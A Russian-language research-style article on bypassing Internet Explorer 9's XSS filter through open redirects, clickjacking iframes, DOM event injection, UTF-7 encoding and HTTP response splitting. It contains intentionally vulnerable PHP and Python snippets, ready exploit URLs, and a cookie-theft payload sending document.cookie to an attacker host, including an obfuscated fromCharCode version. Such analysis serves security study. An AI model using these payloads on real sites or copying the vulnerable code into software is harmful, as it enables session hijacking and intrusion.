В Internet Explorer 9 по умолчанию встроена система безопасности, предотвращающая отраженные XSS атаки. На сегодняшний момент известно множество недостатков этой системы. Основной недостаток заключается в отсутствии защиты от хранимых XSS и основанных на DOM XSS атаках.
Однако IE делает неверное предположение: XSS может приходить от любого источника. Таким образом, вследствие этого предположения отраженная XSS атака может стать эксплуатируемой. Злоумышленник может обмануть систему, используя Unvalidated redirects and forwards OWASP a10[2]. Такая уязвимость также называется Open Redirect (CWE-601). Не все методы Open Redirect подходят для создания “доверенной” начинки XSS IE использует редирект в HTTP заголовке “location:” так же, как и при использовании HTML тега meta refresh. Для атаки могут использоваться и другие методы перенаправления.
Теперь предположим существование прямой XSS уязвимости в нашем приложении в файле xss.php:
<?php
//xss.php
print $_GET[‘var’];
?>
Предположим, что в файле redir.php найдена ошибка OWASP a10.
<?php
//redir.php
print “<script>”;
print “document.location=’”.htmlspecialchars($GET[‘redir’],ENT_QUOTES).”’”;
print “</script>”;
?>
Пример эксплойта для подобного приложения:
http://victim/redir.php?redir=http%3A%2F%2Fvictim%2Fxss.php%3Fvar%3D%253Cscript %253Ealert%2528%2Fxss%2F%2529%253C%2Fscript%253E
Подобная ссылка может происходить откуда угодно, включая сервисы сокращения URL адреса. XSS начинкой является GET переменная “var”. Эта часть содержит дважды закодированный URL. Угловая скобка “<” заменяется на “%253E”. Эта замена обманывает htmlspecialchars() на сервере и фильтр Internet Explorer. Данная закодированная начинка не затрагивается вызовом к htmlspecialchars(). Поведение будет таким же, как и при ее отсутствии. В соответствии с RFC 1738 все “небезопасные” символы, такие как угловые скобки должны быть закодированы в URL адресе. Таким образом любое веб-приложение, совместимое со стандартами будет полагаться на RFC и декодировать всю информацию, введенную пользователем, до того как она достигнет веб-приложения. Запрос к redir.php выполнит декодирование URL и этот файл запишет начинку в страницу. Закодированная ссылка перенаправления была бы идентифицирована в качестве XSS начинки в Internet Explorer, если бы она происходила от другого домена. Но сейчас она происходит с этого же домена и является доверенной.
Вот короткий список методов перенаправления в JavaScript:
document.location=""
location.replace("")
window.location.hrеf=""
window.location.replace("")
Теперь рассмотрим влияние "<а Hrеf=>", управляемого злоумышленником. Данный тип поведения является наиболее распространенным в веб-приложениях. Для примера возьмем Wiki, где пользователи выкладывают ссылки и другой контент. Или другим образцом является форум, где пользователь может указать домашнюю страницу в своем профиле, или добавить ссылки в сообщение. Приложение, имеющее эти возможности, не может быть защищено XSS фильтром IE, за исключением ситуаций, когда само приложение имеет защиту от захвата кликов (Clickjacking).
Представим, что следующая ссылка будет записана на странице жертвы в файле link.php:
<a id=my_link Hrеf=http://victim/xss.php?var=%3Cscript%3Ealert(/xss/)%3C/script%3E">link</a>
Для того чтобы сработала эта атака, жертва должна кликнуть по ссылке злоумышленника. Для этого можно использовать Clickjacking. Требование клика по ссылке для задействования XSS возникает в других ситуациях, как например отравление onclick DOM события. Такая атака называется “Захват событий” (Eventjacking). Она рассматривается 2 в статье “UI Redressing” [3 в разделе 2.]. Хотя эта атака на XSS фильтр Internet Explorer не использует DOM событие на сайте жертвы, метод эксплуатирования уязвимости аналогичен. Злоумышленник может создать iframe на подконтрольном веб-сайте:
<iframe src=http://victim/link.php#my_link/>
Затем этот iframe делается невидимым при помощи SVG маски. Невидимый iframe может отслеживать положение курсора пользователя при помощи javascript. Оба этих метода описаны в статье “UI Redressing” в разделах2.2.7 и 2.1.5 соответственно. В результате, где бы ни кликнул пользователь на сайте злоумышленника, будет выполнена XSS начинка внутри iframe. Internet Explorer верит в происхождение начинки от того же домена, следовательно начинка обходит XSS фильтр IE.
Давайте рассмотрим код, подверженный XSS уязвимости вследствие DOM события. Следует обратить внимание на необходимость вызова функции htmlspecialchars для обхода фильтра IE:
<?php
//event.php
print "<img src=https://sitewat.ch/UserInterface/images/Sitewatch_logo.png"
onload=\"v='".htmlspecialchars($_GET['event'],ENT_QUOTES)."'; \">";
?>
Этот код работает так, как будто XSS фильтра IE не существует:
http://victim/event.php?event=%27%2balert%281%29%2b%27
Приведем образец этой уязвимости. Вызов функции htmlspecialchars не требуется. Она просто демонстрирует проблему с кодировкой UTF-7.
<?php
//utf7.php
session_start();
header('Content-Type: text/html; charset=UTF-7');
print(htmlspecialchars($_GET['utf7']));
?>
Этот простой пример обхода XSS фильтра IE является строкой <script>alert(/xss/)</script>, закодированной в UTF-7:
Http://victim/utf7.php?utf7=%2BADw-script%2BAD4-alert(/xss/)%2BADsAPA-%2Fscript%2BAD4
Данный пример является незавершенным. Даже если вы сможете выполнить JavaScript, нужно будет обойти другие фильтры. Существует фильтр, производящий поиск соединения cookie браузера со строкой: “+document.cookie+”.
Эта часть фильтра IE вызовет проблемы с начинкой, даже если злоумышленник сможет выполнить JavaScript:
document.write(“<img src=http://attacker/cookie.php?c>=”+document.cookie+”>”);
Тем не менее, мы можем избежать такойпоследовательности символов в нашей начинке и получить cookie жертвы, несмотря на данные ограничения. Этот тип кодирования необязателен для "доверенных” начинок:
http://localhost/utf7.php?utf7=%2BADw-script%2BAD4-document.write(String.fromCharCode(60,105,109,103,32,115,114,99,61,104,116,116,112,58,47,47,115 ,105,116,101,119,97,116,99,104,47,113,97,47,99,111,111,107,105,101,46,112,104,112,47).concat(docu ment.cookie).concat(String.fromCharCode(20,47,62)))%2BADsAPA-%2Fscript%2BAD4
Представим ситуацию, в которой жертва выполняет следующий код, подверженный уязвимости HTTP Response Splitting:
#crlf.py
from mod_python import apache
from cgi import escape
from urllib import unquote
def handler(req):
req.content_type = "text/html"
url=req.args.split("=",1)[1]
url=unquote(url)
req.headers_out.add('test', url )
req.send_http_header()
req.write('Hello!')
return apache.OK
Приведенный ниже пример использует HTTP Response Splitting для XSS атаки.
http://vicitim/crlf.py?url=%0D%0AContent-Type:%20text/html;%20charset=UTF-7%0D%0AContent-Length:%20299%0D%0A%0D%0A%2BADw-script%2BAD4-alert%28/xss/%29%2BADsAPA-%2Fscript%2BAD4
Ниже приведен соответствующий HTTP заголовок описанного эксплойта. Часть HTTP запроса, соответствующего атаке, выделена синим:
Данный рисунок является доказательством XSS атаки на Internet Explorer. Злоумышленник по-прежнему может изменить кодировку, используя HTTP Response Splitting (CWE-113), выполнив UTF-7 XSS начинку.
Но доступ к знаниям открыт для всех